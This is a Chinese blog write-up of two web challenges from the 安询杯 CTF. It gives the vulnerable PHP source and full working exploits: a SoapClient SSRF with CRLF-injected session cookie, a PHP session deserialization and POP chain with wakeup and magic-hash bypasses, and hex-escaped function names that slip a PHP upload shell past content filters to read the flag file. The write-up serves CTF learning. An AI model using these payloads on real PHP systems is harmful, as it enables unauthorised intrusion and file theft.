首页 > 其他分享 >安询杯web复现

安询杯web复现

时间:2022-11-30 09:34:04浏览次数:48  
标签:__ web GET flag 复现 array 安询 public user

安询杯

babyweb

源码:

index.php

 <?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__); 

flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
} 

分析:

先看一下flag.php

要求$_SERVER["REMOTE_ADDR"]==="127.0.0.1"否则就会返回only localhost!!

再看

$f1ag=implode(array(new $_GET'a'));

先看一下implode和array函数

implode:把数组元素组合为字符串:
array:函数用于创建数组

array里面包括着

new $_GET['a']($_GET['b']

所以这里就是array把new $_GET['a']($_GET['b'])获得的结果经过array转换成数组,然后通过implode函数将他们组合为字符串

在回到new $_GET['a']($_GET['b']

这里我们可以通过调用php原生类去获取flag

$f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;

这里我们通过php原生类获取的flag会赋值给$f1ag,然后$f1ag会把值写入session中

最后输出session值我们就能得到flag

但是想要利用的前提条件是

$_SERVER["REMOTE_ADDR"]==="127.0.0.1"

这里很明显我们要使用ssrf去实现

但是现在如何去实现ssrf呢?

我们可以使用php原生类中的SoapClient类中的_call方法发送http请求进行ssrf

所以可以构造ssrf的利用链:

<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);
分析:
我们分析一下上面的利用链
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg'
这里利用SplFileObject类去获取flag文件里面的内容(首先应该使用SplFileObject去获取flag文件的名字)
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
    'uri' => "http://127.0.0.1/"));
    这里就是利用SoapClient进行SSRF
    user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
    这段代码是利用CRLF在我们发起http请求时插入一段
    PHPSESSID=flag2333
    改变session文件名字,便于我们后期读取flag
    

但是现在又出现一个问题我们怎么去触发SplFileObject去进行ssrf

我们去看一下index.php

我们可以看到

call_user_func(array(reset($_SESSION), $this->a));
call_user_func是一个回调函数
会把第一个参数当作函数去调用
例如:
<?php
function nowamagic($a,$b)   
{   
    echo $a;   
    echo $b;   
}   
call_user_func('nowamagic', "111","222");   
call_user_func('nowamagic', "333","444");   
//显示 111 222 333 444   
?>

而call_user_func(array(a,b);会调用类的内部方法
例如:
<?php
class a {   
    function b($c)   
    {   
        echo $c;   
    }   
}   
call_user_func(array("a", "b"),"111");   
//显示 111   
?>

那么我们可以把ssrf利用链的结果写入到session文件中

然后通过构造pop连进行反序列化触发call_user_func函数

call_user_func函数会把reset($_SESSION)的值当作函数调用

输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素

reset最终得到的就是SoapClient

所以最终call_user_func去调用SoapClient访问a方法,a是不存在的方法所以会触发_call方法进行ssrf。

那么我们现在要做的就是把ssrf利用链的值写入到session文件里面

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
} 

index.php存在这样的代码

我们可以post一个sess会写入到session文件里面

而且ini_set($_GET['baby'], $_GET['d0g3']);

这样ini_set的值是可控的,那我们就可以通过session反序列化把ssrf利用链子序列化后的值进行反序列化

image-20221128194804184

然后通过构造pop链去触发call_user_func

else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
} 

pop链:

<?php
//something in flag.php

class A
{
    public $a = '0e215962017';
    public $b;



    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a ;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}



$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '11111';
echo((serialize($first)));

输出:

由于要绕过wake_up,修改参数

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

image-20221128195202282

这里没出现回显的原因我们把获取的flag写入到了flag2333里面了,我们修改

cookie:PHPSESSID=flag2333

image-20221128195346482

easyupload

文件上传

可以上传php文件,但是很多函数都被禁了

上传过程会检测文件内容

先上传一个hello world

image-20221128201930272

上传一个木马文件

image-20221128201951361

但是可以上传phpinfo

image-20221128202048995

在phpinfo里面发现禁用了很多东西

image-20221128202150224

这里可以利用字符串转义来绕过

def hex_payload(payload):
     res_payload = ''
     for i in payload:
        i = "\\x" + hex(ord(i))[2:]
        res_payload += i
     print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
if __name__ == "__main__":
    payload = input("Input payload: ")
    hex_payload(payload)

这里绕过的原因是php可以识别16进制,甚至不需要解码就可以识别

image-20221128202744487

image-20221128202958091

通过phpinfo,我们可以看到原生类没有被禁

所以可以通过构造原生类利用去查找flag文件的名字

<?php
echo
new DirectoryIterator("glob:///*");

image-20221128203239918

image-20221128203308720

获取到flag的名子

本来是想通过SplFileObject去读取文件但是尝试发现被禁了,尝试编码没成功

那么我们直接使用file_get_contents来读取flag

<?php
echo 
"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("/fl1111111111ag");

image-20221128204201965

标签:__,web,GET,flag,复现,array,安询,public,user
From: https://www.cnblogs.com/GTL-JU/p/16937441.html

相关文章